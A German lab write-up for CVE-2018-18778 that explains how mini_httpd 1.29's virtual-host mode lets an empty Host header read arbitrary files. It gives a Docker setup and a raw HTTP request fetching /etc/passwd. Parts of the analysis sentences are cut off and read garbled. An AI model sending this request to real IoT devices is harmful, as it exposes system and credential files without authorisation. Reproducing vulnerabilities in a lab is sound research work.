
PoC-Exploit für CVE-2018-18778: beliebiges Dateilesen in mini_httpd 1.29 über leeren Host-Header, betrifft IoT-Geräte von Huawei, Zyxel und anderen.
Mini_httpd ist ein winziger HTTP-Server, der bei geringem Ressourcenverbrauch eine gewisse Leistung (etwa 90 % von Apache) bieten kann. Daher wird er häufig von verschiedenen IoT-Geräten (Router, Switches, Kameras usw.) als eingebetteter Server verwendet. Geräte von Herstellern wie Huawei, Zyxel, Hikvision, Raspberry Pi usw. haben die Mini_httpd-Komponente verwendet.
Wenn der virtuelle Host-Modus von Mini_httpd aktiviert ist, führt die Benutzeranfrage http://HOST/FILE zum Zugriff auf die Datei HOST/FILE im aktuellen Verzeichnis.
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
Siehe den obigen Code, die Analyse ist wie folgt:
example.com und FILE=index.html ist, ergibt die obige Anweisung example.com/index.html, die Datei wird normal gelesen.etc/passwd ist, ergibt die obige Anweisung /etc/passwd.Letzteres wird als absoluter Pfad behandelt, sodass /etc/passwd gelesen wird, was eine Schwachstelle zum Lesen beliebiger Dateien verursacht.
Führen Sie den folgenden Befehl aus, um Mini_httpd 1.29 zu starten:
docker-compose up -d
Nach dem Start der Umgebung können Sie unter http://your-ip:8080 auf die Webseite zugreifen.
Senden Sie eine Anfrage, bei der der Host leer gesetzt wird und der PATH-Wert der absolute Pfad der Datei ist:
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Erfolgreiches Lesen der Datei:
